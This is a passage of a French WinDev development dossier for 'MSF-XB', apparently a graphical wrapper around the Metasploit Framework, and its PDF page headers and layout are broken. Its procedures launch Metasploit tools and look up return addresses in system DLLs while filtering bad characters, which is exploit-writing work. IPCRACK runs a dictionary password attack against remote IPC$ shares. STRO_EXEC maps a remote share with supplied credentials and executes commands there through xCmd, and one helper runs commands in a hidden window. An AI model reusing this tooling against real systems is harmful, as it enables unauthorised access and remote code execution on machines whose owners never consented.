Procédure globale Cherche_Infos_IPindex// Résumé : Recherche les informations sur une IP dans la table IPINDEX// Syntaxe ://Cherche_Infos_IPindex (<monIP>)//// Paramètres :// monIP : <indiquez ici le rôle de monIP>// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

PROCEDURE Cherche_Infos_IPindex(monIP)

//externe DOMAINE_INFOS //Champ d'infos sur la cible//externe DOMAINE_LANGUE //Champ langue de la cible

MonFiltre is string=HFiltreCommencePar(IPINDEX, IP, ExtraitChaîne(monIP, 1, "."))

HLitPremier(IPINDEX, MonFiltre)SI HEnDehors ALORS

Erreur("erreur")SINON

TANTQUE PAS HEnDehorsSI Taille(IPINDEX.IP) = Taille(ExtraitChaîne(monip, 1, ".")) ALORS //Seulement le IP11 correspond

AutoExploiter.DOMAINE_LANGUE= Upper(IPINDEX.LANGUE)

Langue_Domaine_ParDefaut()

AutoExploiter.DOMAINE_INFOS= IPINDEX.DESCRIPTIONRETOUR

SINONSI ChaîneOccurrence(IPINDEX.IP, "-")>0 ALORS //On a une range dans IPINDEX

SI NoSpace(ExtraitChaîne(IPINDEX.IP, 1, "-")) < monip < NoSpace(ExtraitChaîne(IPINDEX.IP, 1, "-", DepuisFin)) ALORSAutoExploiter.DOMAINE_LANGUE=IPINDEX.LANGUE

Page 1090: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1096

Langue_Domaine_ParDefaut()

AutoExploiter.DOMAINE_INFOS= IPINDEX.DESCRIPTIONRETOUR

FINFIN

FIN

HLitSuivant(IPINDEX, MonFiltre)FIN

FIN

AutoExploiter.DOMAINE_LANGUE=IPINDEX.LANGUE

Langue_Domaine_ParDefaut()

AutoExploiter.DOMAINE_INFOS= IPINDEX.DESCRIPTIONRETOUR

Procédure globale EntierVersHexa// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] EntierVersHexa (<Num>)//// Paramètres :// Num : <indiquez ici le rôle de Num>// Valeur de retour :// chaîne : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//

FONCTION EntierVersHexa(Num)ValD est un entierValH est une chaîneReste est un entierValD=NumBOUCLE

// On récupère le reste de la division par 16Reste=modulo(ValD,16)// On le convertit en chiffre hexadécimal// et on le place au début du résultatSELON Reste

Page 1091: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1097

CAS 10: ValH="A"+ValHCAS 11: ValH="B"+ValHCAS 12: ValH="C"+ValHCAS 13: ValH="D"+ValHCAS 14: ValH="E"+ValHCAS 15: ValH="F"+ValHAUTRES CAS: ValH=Reste+ValH

FIN// On récupère la partie entière de la division par 16ValD=ValD/16// On arrête quand on arrive à 0SI ValD=0 ALORS SORTIR

FIN// Renvoie le résultat

RENVOYER ValH

Procédure globale fctLanceMSFweb// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctLanceMSFweb ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fctLanceMSFweb()

Message("Lancement de MSFWEB...")

// "C:\Program Files\Metasploit\Framework3\loader.cmd" msfweb.cmdLanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"loader.cmd"+Caract(34)+" msfweb.cmd /prefetch:1", exeIconise, exeNonBloquant, ComplèteRep(gsCheminMSF3))

Multitâche(500)

Message()

Procédure globale fctMSFGUI

Page 1092: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1098

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctMSFGUI ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fctMSFGUI()

EXTERNE LIB_EXPLOIT

Message("Démarrage de msfgui...")lpCmdLine is stringnResHandleFen est un entier système

// lpCmdLine = caract(34)+gsCheminMSF3+"bin\ruby.exe"+caract(34)+" "+caract(34)+gsCheminMSF3+"framework\msfgui"+Caract(34)// SI EnModeTest() ALORS VersPressePapier(lpCmdLine)// MyDos:CommandLine_Let(lpCmdLine)//// MyDos:ExecuteCommand()SI fTaille(ComplèteRep(gsCheminMSF3)+"updater.rb") >0 ALORS

//MSF 3.1lpCmdLine= Caract(34)+ComplèteRep(gsCheminMSF3)+"loader.cmd"+Caract(34)+" msfgui.cmd"SI EnModeTest() ALORS VersPressePapier(lpCmdLine)// LanceAppli(lpCmdLine, exeActif, exeNonBloquant, caract(34)+ComplèteRep(gsCheminMSF3)+"framework"+caract(34))LanceAppli(lpCmdLine, exeInactif, exeNonBloquant, gsCheminMSF3)

// // Attente du chargement du programme// Multitâche(3000) //30 sec//// //Récupère le handle de la fenêtre// nResHandleFen = SysFenHandle("msfgui v3.1-dev")//// SI nResHandleFen>0 ALORS// Message("Lancement de l'exploit...")//// EnvoieTouche("use "+LIB_EXPLOIT+"{ENTREE}",nResHandleFen)// Multitâche(100) //1 sec// SINON// Message("Impossible de lancer le GUI :-(")// FIN

Page 1093: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1099

SINONSI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

lpCmdLine= Caract(34)+ComplèteRep(gsCheminMSF3)+"bin\ruby.exe"+Caract(34)+" "+Caract(34)+ComplèteRep(gsCheminMSF3)+"home\framework\msfgui"+Caract(34)

SINONlpCmdLine= Caract(34)+ComplèteRep(gsCheminMSF3)+"bin\ruby.exe"+Caract(34)+" "+Caract(34)+ComplèteRep(gsCheminMSF3)+"framework\msfgui"+Caract(34)

FINSI EnModeTest() ALORS VersPressePapier(lpCmdLine)// LanceAppli(lpCmdLine, exeActif, exeNonBloquant, caract(34)+ComplèteRep(gsCheminMSF3)+"framework"+caract(34))LanceAppli(lpCmdLine, exeInactif, exeNonBloquant, ComplèteRep(gsCheminMSF3)+"framework\")

FIN

Procédure globale fctMsfUpdate// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctMsfUpdate ( [<Trunk>])//// Paramètres :// Trunk (valeur par défaut=0) : <specify the role of Trunk>// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Automatic Procedure:// The procedure is run manually, during a call in the code// It will be run in a thread (without having to call ThreadExecute), without using Hyper File// // Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

PROCEDURE fctMsfUpdate(Trunk=0)

SI Trunk=0 ALORS// SI fTaille("msfupdate.bat")<=0 ALORS// //On crée le fichier batch de mise à jour automatique// fFerme(fCrée(ComplèteRep(fRepEnCours())+"msfupdate.bat"))// fSauveTexte("msfupdate.bat",Caract(34)+gsCheminMSF3+"loader.cmd"+Caract(34)+" msfupdate.cmd")

Page 1094: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1100

// FIN// SI PAS LanceAppli("msfupdate.bat",exeInactif,exeNonBloquant) ALORS// Erreur(ErreurInfo())// FIN

// "C:\Program Files\Metasploit\Framework3\loader.cmd" msfupdate.cmdLanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"loader.cmd"+Caract(34)+" msfupdate.cmd", exeActif, exeNonBloquant, ComplèteRep(gsCheminMSF3))

SINONMessage("Mise à jour depuis trunk...")// svn co http://metasploit.com/svn/framework3/trunk/ msf3-trunk

//!!! Si on a activé l'utilisation de Trunk on aura pas le bon chemin global// Donc:sMonCheminMSF3 is string=INILit("CONFIG", "MSF3_PATH", SysRep(srProgramFiles)+"\Metasploit\Framework3\", sCheminINI)//LanceAppli(Caract(34)+ComplèteRep(sMonCheminMSF3)+"svn co http://metasploit.com/svn/framework3/trunk/ msf3-trunk"+caract(34), exeActif, exeNonBloquant, ComplèteRep(sMonCheminMSF3))

sMaCommande is string=Caract(34)+ComplèteRep(sMonCheminMSF3)+"tools\svn"+Caract(34)+" co http://metasploit.com/svn/framework3/trunk/ msf3-trunk"SI EnModeTest() ALORS VersPressePapier(sMaCommande)

MyDos:CommandLine_Let(sMaCommande)sMaCommande=MyDos:ExecuteCommand()SI EnModeTest() ALORS Info("Mode test:"+RC+sMaCommande)Message("MSF mis à jour depuis Trunk")

FIN

Procédure globale fctPescan// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] fctPescan (<sOPCODE>, <sBADCHARS> [, <sMADLL>])//// Paramètres :// sOPCODE : <indiquez ici le rôle de sOPCODE>// sBADCHARS : <indiquez ici le rôle de sBADCHARS>// sMADLL (valeur par défaut="kernel32.dll") : < indiquez ici le rôle de sMADLL >// Valeur de retour :// chaîne : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fctPescan(sOPCODE, sBADCHARS, sMADLL=

Page 1095: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1101

"kernel32.dll")

//msfpescan -f C:\WINDOWS\system32\userenv.dll -r "\xFF\x53\x04"//Info(NumériqueVersChaîne("ÿä", "x"))//info(val("ÿ"))//info(EntierVersHexa(caract("ÿ")+caract("ä")))//retoursAdresseretourOK is string

sMaCommande is stringsMonCodeHEXA is stringCheminMSFpescan is stringSI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

CheminMSFpescan=ComplèteRep(gsCheminMSF3) + "home\framework\msfpescan"SINON

//CheminMSFpescan=ComplèteRep(gsCheminMSF3) + "framework\msfpescan"CheminMSFpescan=fRechercheFichier(gsCheminMSF3, "msfpescan")

FIN

sAdresseretourOK=""sCheminTemporaire is string=ComplèteRep(fRepEnCours()) + "TEMP\"//On cherche la valeur hexadécimale de l'opcodeHLitRecherche(ASM_CODES,CODE_ASM,sOPCODE)SI PAS HTrouve ALORS

//Valeur saisie dans la combo//=> on recherche la valeur hexa de l'opcode avec nasm

//On doit écrire le code ASM dans un fichier (nasm.txt)fSauveTexte(sCheminTemporaire+"nasm.txt", "BITS 32"+RC+sOPCODE)sCheminNasm is string=ComplèteRep(gsCheminMSF3)+"bin\nasm.exe"SI fTaille(sCheminNasm)<=0 ALORS

sCheminNasm=fRechercheFichier(gsCheminMSF3, "nasm.exe")FIN

// nasm.exe -f bin -o nasm.out nasm.txtsMaCommande= Caract(34)+sCheminNasm+Caract(34)sMaCommande+= " -f bin -o "+Caract(34)+sCheminTemporaire+"nasm.out"+Caract(34)+" "+Caract(34)+sCheminTemporaire+"nasm.txt"+Caract(34)

// SI EnModeTest() ALORS VersPressePapier(sMaCommande)// ddelance(sMaCommande)MyDos:CommandLine_Let(sMaCommande)MyDos:ExecuteCommand()

// On lit le fichier résultat et on le convertit: byte2hexsMaCommande= "byte2hex.exe -o "+Caract(34)+sCheminTemporaire+"nasm2.txt"+Caract(34)+" "+Caract(34)+sCheminTemporaire+"nasm.out"+Caract(34)// SI EnModeTest() ALORS VersPressePapier(sMaCommande)

Page 1096: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1102

// DDELance(sMaCommande)MyDos:CommandLine_Let(sMaCommande)MyDos:ExecuteCommand()

sMonCodeHEXA=fChargeTexte(sCheminTemporaire+"nasm2.txt")

//Pour le Design de l'exploit: !!!Ici on est pas sur du résultatSI FenEtat(MSFXB_Assistant)<>Inexistant ALORS MSFXB_Assistant.COMBO_RetType..Valeur= sOPCODE

SINONsMonCodeHEXA= ASM_CODES.CODE_HEXA//Pour le Design de l'exploit:SI FenEtat(MSFXB_Assistant)<>Inexistant ALORS MSFXB_Assistant.COMBO_RetType..Valeur= sOPCODE

FIN

//si enmodetest() alors// si pas ouinon("Code hexa="+sMonCodeHEXA+rc+"Continuer?") alors// SAI_RESULT=sMonCodeHEXA// retour// FIN//FIN

//MSF3:

//sMaCommande= caract(34)+ComplèteRep(gsCheminMSF3)+"bin\ruby.exe"+caract(34)+" "+caract(34)+CheminMSFpescan+caract(34)+" -f "+caract(34)+SC_SelecteurFichier.SAI_FIC+caract(34)+" -r "+ ASM_CODES.CODE_HEXA +" >" +Caract(34)+ completerep(fRepEnCours)+"pesc

an.txt" +Caract(34)sMaCommande= Caract(34)+gsCheminRuby+Caract(34) +" "+ Caract(34)+CheminMSFpescan+Caract(34)+" -f "+Caract(34)+ComplèteRep(SysRep(srSystème))+sMADLL+Caract(34)+" -r "+ sMonCodeHEXA //+">" + caract(34)+completerep(fRepEnCours)+"pescan.txt" +Caract(34)

// si EnModeTest() alors VersPressePapier(sMaCommande)MyDos:CommandLine_Let(sMaCommande) //+" "+Caract(34)+CheminDuDump+Caract(34))sAdresseretourOK=MyDos:ExecuteCommand()

// si enmodetest() alors info("sAdresseretourOK: "+sAdresseretourOK)sAdresseretourOK="0x" + ExtraitChaîne(sAdresseretourOK, 1, "0x", DepuisFin)

// SI EnModeTest() ALORS Info("sAdresseretourOK: "+sAdresseretourOK)sAdresseretourOK=ExtraitChaîne(sAdresseretourOK, 1, " ")

//Filtrage des badcharsSI sBADCHARS<>"" ALORS //ex: \x00\x41

fSupprime(sCheminTemporaire+"msfpescan.log")fSauveTexte(sCheminTemporaire+"msfpescan.log", sAdresseretourOK)nNuFicTemp is int=fOuvre( sCheminTemporaire+"msfpescan.log", foLecture )SI nNuFicTemp=-1 ALORS

Erreur(ErreurInfo(errMessage))SINON

Page 1097: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1103

sAdresseretourOK=""nCptTEMP is int=2sBadCharTest is string="xx"sBadCharPresent is stringsMaLigneTemp is string=fLitLigne(nNuFicTemp) //ex: 0x7C809FFBTANTQUE sMaLigneTemp<>EOT ET sAdresseretourOK=""

// Recherche de badcharsTANTQUE Taille(sBadCharTest)=2 AND nCptTEMP < Taille(sBADCHARS)/4

sBadCharTest=ExtraitChaîne(sBADCHARS, nCptTEMP, "\x")sBadCharTest=Upper(Gauche(sBadCharTest,2))// si enmodetest() alors info(sBadCharTest)SI Upper(sMaLigneTemp[[3 A 4]])=sBadCharTest OU Upper(sMaLigneTemp[[5 A 6]])=sBadCharTest OU Upper(sMaLigneTemp[[7 A 8]])=sBadCharTest OU Upper(sMaLigneTemp[[9 A 10]])=sBadCharTest ALORS

sBadCharPresent+="\x"+sBadCharTestFINnCptTEMP++

FINnCptTEMP=2

SI sBadCharPresent<>"" ALORS// sAdresseretourOK+=sMaLigneTemp+TAB+"(! Badchars: "+sBadCharPresent+")"+RC

sBadCharPresent=""SINON

sAdresseretourOK= ExtraitChaîne(sMaLigneTemp, 1, " ")FIN

sMaLigneTemp=fLitLigne(nNuFicTemp)FIN

FINfFerme(nNuFicTemp)

FIN

RENVOYER sAdresseretourOK

Procédure globale fRechercheFichier// Résumé : Recherche un fichier dans un répertoire et renvoie le chemin complet// Syntaxe ://[ <Résultat> = ] fRechercheFichier (<pRepertoire>, <pFichier> [, <pFiltre>])//// Paramètres :// pRepertoire : <indiquez ici le rôle de pRepertoire>// pFichier : <indiquez ici le rôle de pFichier>

Page 1098: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1104

// pFiltre (valeur par défaut="") : < indiquez ici le rôle de pFiltre >// Valeur de retour :// chaîne : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fRechercheFichier(pRepertoire, pFichier, pFiltre="")// pFiltre est exclusif (ex: pFiltre=".svn" refuse les chemins contenat ".svn")sMonChemin is string

UnFichier, ResListeFichier sont des chaînes// Le parcours se fait également dans les sous-répertoires et est interruptible. (ECHAP)ResListeFichier = fListeFichier(pRepertoire+"*"+fExtraitChemin(pFichier, fExtension), frRécursif+frInterruptible)// Pour chaque fichier trouvéPOUR TOUTE CHAINE UnFichier DE ResListeFichier SEPAREE PAR RC

//Recherche générique//SI ChaîneOccurrence(UnFichier, pFichier) > 0 ALORS//Recherche à l'identiqueSI Droite(Upper(UnFichier), Taille(pFichier)) = Upper(pFichier) ALORS

SI ChaîneOccurrence(UnFichier, pFiltre) = 0 ALORSsMonChemin=UnFichier

// SI EnModeTest() ALORS Info("TEST:"+RC+sMonChemin)SORTIR

FINFIN

FINSI sMonChemin="" ALORS

Erreur("Fichier non trouvé:"+RC+pFichier)FINRENVOYER sMonChemin

Procédure globale HEX2ASCII// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] HEX2ASCII ( [<sHEXA> [, <sASCII> [, <sAffiche>]]])//// Paramètres :// sHEXA (valeur par défaut="\x41") : < indiquez ici le rôle de sHEXA >// sASCII (valeur par défaut="A") : < indiquez ici le rôle de sASCII >// sAffiche (valeur par défaut=1) : < indiquez ici le rôle de sAffiche >// Valeur de retour :// Type indéterminé : // Aucune//

Page 1099: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1105

// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE HEX2ASCII(sHEXA="\x41", sASCII="A", sAffiche=1) //sAffiche utilisé pour l'affichage (ex: TABLE_ASCII)

cpt is int=2

//On convertit les codes HEXA en ASCIISI ChaîneOccurrence(sHEXA,"\x")>0 ALORS

TANTQUE Taille(ExtraitChaîne(sHEXA,cpt,"\x"))>1// info(gauche(ExtraitChaîne(BADCHARS1,cpt,"\x"),2))

SI sAffiche ET sASCII<>"" ALORS sASCII+=" "SI sAffiche ET Gauche(ExtraitChaîne(sHEXA,cpt,"\x"),2) = "00" ALORS

sASCII+="NUL"SINON

SI sAffiche ET Gauche(ExtraitChaîne(sHEXA,cpt,"\x"),2) = "20" ALORSsASCII+="SPACE"

SINONsASCII+=Caract( Val(Gauche(ExtraitChaîne(sHEXA,cpt,"\x"),2),"x") )

FINFIN

cpt++FIN

SINON //Ex: copier/coller de la valeur d'un registre//On prend 2 caractères à la fois pour les convertircpt=1TANTQUE cpt <= Taille(sHEXA)// info(Milieu(BADCHARS1,cpt,2))

sASCII+=Caract( Val( Milieu(sHEXA,cpt,2) ,"x") )cpt+=2

FINFIN

RENVOYER sASCII

Procédure globale HEXreverse// Résumé : Renvoie une chaîne HEXA inversée de celle passée en paramètre// Syntaxe ://[ <Résultat> = ] HEXreverse ( [<sHEXA> [, <sASCII> [, <sAffiche>]]])//// Paramètres :

Page 1100: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1106

// sHEXA (valeur par défaut="\x41\x42\x43\x44") : < indiquez ici le rôle de sHEXA >// sASCII (valeur par défaut="A") : < indiquez ici le rôle de sASCII >// sAffiche (valeur par défaut=1) : < indiquez ici le rôle de sAffiche >// Valeur de retour :// Type indéterminé : // Aucune//// Exemple :// HEXreverse("41424344")// renvoie: 44434241PROCEDURE HEXreverse(sHEXA="\x41\x42\x43\x44", sASCII="A", sAffiche=1)

//On retourne la chaîneSI ChaîneOccurrence(sHEXA,"\x")>0 ALORS

// Uniquement pour une adresse !sASCII=sHEXA[[13 A 16]] + sHEXA[[9 A 12]] + sHEXA[[5 A 8]] + sHEXA[[1 A 4]]

SINON //Ex: copier/coller de la valeur d'un registre// Uniquement pour une adresse !sASCII=sHEXA[[7 A 8]] + sHEXA[[5 A 6]] + sHEXA[[3 A 4]] + sHEXA[[1 A 2]]

FIN

RENVOYER sASCII

Procédure globale IPCRACK// Syntaxe ://IPCRACK ([<IP>[, <LOGIN>[, <PASSFILE>]]])//// Paramètres :// IP : <indiquez ici le rôle de IP>// LOGIN : <indiquez ici le rôle de LOGIN>// PASSFILE : <indiquez ici le rôle de PASSFILE>// Valeur de retour :// Aucune

PROCEDURE IPCRACK(IP="127.0.0.1",LOGIN="Administrator",PASSFILE="dico.txt")fSupprime(fRepEnCours()+"\IPCRACK.BAT")NumFic is int= fCrée("IPCRACK.BAT")SI NumFic = -1 ALORS

Erreur("ERREUR de création de IPCRACK.BAT")RETOUR

Page 1101: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1107

FINfFerme(numfic)

NumFic=fOuvre("IPCRACK.BAT",foEcriture)SI NumFic = -1 ALORS

Erreur("ERREUR d'ouverture de IPCRACK.BAT")RETOUR

FIN

// fecritligne(NumFic,caract(34)+frepencours()+"\TOOLZ\ipc$cr.exe"+caract(34)+" \\"+ip+" "+LOGIN+" "+PASSFILE)//+">"+caract(34)+frepencours()+"\TEMP\IPCRACK_"+nospace(ip)+"_"+datesys()+".TXT"+caract(34))

fEcritLigne(NumFic,"ipc$cr.exe \\"+ip+" "+LOGIN+" "+PASSFILE)//+">"+caract(34)+frepencours()+"\TEMP\IPCRACK_"+nospace(ip)+"_"+datesys()+".TXT"+caract(34))

fFerme(NumFic)

// ddelance(caract(34)+frepencours()+"\IPCRACK.BAT"+caract(34),ddeactif,vrai)DDELance("IPCRACK.BAT",DDEActif,Faux)

// ddelance("cmd.exe ipc$cr.exe \\"+ip+" "+LOGIN+" "+PASSFILE,ddeactif,faux)

// tantque taille(frepencours()+"\TEMP\IPCRACK_"+nospace(ip)+"_"+datesys()+".TXT")=0

// FIN

Procédure globale LanceAppliInvisible// Syntaxe ://[ <Résultat> = ] LanceAppliInvisible (<Cde>)//// Paramètres :// Cde : <indiquez ici le rôle de Cde>// Valeur de retour :// booléen : // Aucune

PROCEDURE LanceAppliInvisible(Cde)SI Cde="" ALORS RENVOYER VrainCmdShow est un entier=0nRetour est un entier systèmeSI COMPIL_JAVA=0 ALORS

nRetour=API("kernel32","WinExec" , &Cde, nCmdShow)ENDSI nRetour=2 OU nRetour=5 ALORS RENVOYER Faux SINON RENVOYER Vrai

Procédure globale Langue_Domaine_ParDefaut

Page 1102: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1108

// Résumé : Attribue une langue par défaut au champ DOMAINE_LANGUE de la fenêtre AutoExploiter// Utilisée par Cherche_Infos_IPindex()// Syntaxe ://Langue_Domaine_ParDefaut ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE Langue_Domaine_ParDefaut()

SI IPINDEX.LANGUE="" ALORS AutoExploiter.DOMAINE_LANGUE="US"//On essaie de deviner la langue en fonction de l'extension du domaineSELON Upper( ExtraitChaîne(AutoExploiter.DOMAINE, 1, ".", DepuisFin) )

CAS "FR"SI ChaîneOccurrence(AutoExploiter.DOMAINE_LANGUE, "FR")=0 ALORS

AutoExploiter.DOMAINE_LANGUE+="/FR"FIN

CAS "IT"SI ChaîneOccurrence(AutoExploiter.DOMAINE_LANGUE, "IT")=0 ALORS

AutoExploiter.DOMAINE_LANGUE+="/IT"FIN

CAS "DE"SI ChaîneOccurrence(AutoExploiter.DOMAINE_LANGUE, "DE")=0 ALORS

AutoExploiter.DOMAINE_LANGUE+="/DE"FIN

AUTRE CAS

FIN

Procédure globale noX// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] noX ( [<sHEXA>])//// Paramètres :// sHEXA (valeur par défaut="\x41\x42") : < indiquez ici le rôle de sHEXA >// Valeur de retour :// variant : // Aucune

Page 1103: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1109

//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE noX(sHEXA="\x41\x42")

RENVOYER Remplace(sHEXA, "\x", "")

Procédure globale STRO_EXECPROCEDURE STRO_EXEC(IP,LOGIN,PASS,SHARE,maCOMMANDE="DIR",PAUSE=0,NOMBAT="XSTRO_EXEC")NOMFIC is string=Remplace(NOMBAT,".bat","")+IP+HeureSys()+".BAT"fSupprime(NOMFIC)NumFic is int=fCrée(NOMFIC)fFerme(numfic)numfic=fOuvre(NOMFIC,foEcriture)SI numfic=-1 ALORS

Erreur("Erreur de création de "+NOMFIC)RETOUR

SINONfEcritLigne(numfic,"net use \\"+IP+"\"+SHARE+" "+PASS+" "+Caract(34)+"/user:"+LOGIN+Caract(34))

// fecritligne(numfic," xCmd \\"+IP+" /u:"+caract(34)+LOGIN+caract(34)+" /pw:"+PASS+" "+caract(34)+maCOMMANDE+caract(34))fEcritLigne(numfic,"xCmd \\"+IP+" /u:"+LOGIN+" /pw:"+PASS+" "+Caract(34)+maCOMMANDE+Caract(34))fEcritLigne(numfic,"net use \\"+IP+"\"+SHARE+" /delete")SI PAUSE=1 ALORS

fEcritLigne(numfic,"PAUSE")fEcritLigne(numfic,"DEL "+NOMFIC)

FINFINfFerme(numfic)DDELance(NOMFIC,DDEActif,Faux)

Procédure globale Titre_Fenetre// Syntaxe ://[ <Résultat> = ] Titre_Fenetre ()//// Paramètres :// Aucun// Valeur de retour :// chaîne : // Aucune

PROCEDURE Titre_Fenetre()

Page 1104: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1110

// titreencours(MoiMême..Titre+" - Jerome Athias : [email protected]")RENVOYER "https://www.securinfos.info" //LIBURL

// titreencours(MoiMême..Titre+" - theXman - CoolBytes")// renvoyer "COOLBYTES" //LIBURL

Procédure globale TROUVE_PID_PROCESSUS// Résumé : <indiquez ici ce que fait la procédure>// Syntax://[ <Result> = ] TROUVE_PID_PROCESSUS (<NomProcessus>)//// Parameters:// NomProcessus: <indiquez ici le rôle de NomProcessus>// Return Value:// int: // None//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE TROUVE_PID_PROCESSUS(NomProcessus)

monPID is int=0

ListeProcessus is string=ExeListeProcessus(exeNomCourt,exePID)//On cherche le nom du processus souhaité dans la liste des processus en coursSI ChaîneOccurrence( Upper(ListeProcessus), Upper(NomProcessus) ) >0 ALORS

// info( ExtraitChaîne(ListeProcessus, 1, NomProcessus, DepuisFin) )ListeProcessus=ExtraitChaîne(ListeProcessus, 1, NomProcessus, DepuisFin)//trace(ListeProcessus)monPID=ExtraitChaîne(ListeProcessus, 1, RC)//info(monPID)RENVOYER monPID

SINON// nCpt is int=1//// ProcessInfo is string= ExtraitChaîne(ListeProcessus, nCpt, RC)//// TANTQUE Taille(ProcessInfo) >1 ET monPID=0//// SI ChaîneOccurrence( Upper(ProcessInfo), Upper(NomProcessus) ) >0 ALORS// monPID= ExtraitChaîne( ProcessInfo, 2 )// SORTIR

Page 1105: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1111

// FIN//// nCpt++// ProcessInfo = ExtraitChaîne(ListeProcessus, nCpt, RC)// FIN//// RENVOYER monPID

RENVOYER 0FIN

Procédure globale Verif_Domaine_WWW// Résumé : Vérifie que la chaîne passée en paraètre est un domaine internet correct et contient les WWW// Syntaxe ://[ <Résultat> = ] Verif_Domaine_WWW (<monDOMAINE>)//// Paramètres :// monDOMAINE : <indiquez ici le rôle de monDOMAINE>// Valeur de retour :// Type indéterminé : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE Verif_Domaine_WWW(monDOMAINE)

SI ChaîneOccurrence(Upper(monDOMAINE), "WWW")=0 ALORSmonDOMAINE="WWW." + Remplace(Upper(monDOMAINE), "HTTP://", "")

FIN

RENVOYER monDOMAINE

Procédure globale VERIF_REGISTRE// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://VERIF_REGISTRE ()//// Paramètres :// Aucun// Valeur de retour :

Page 1106: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

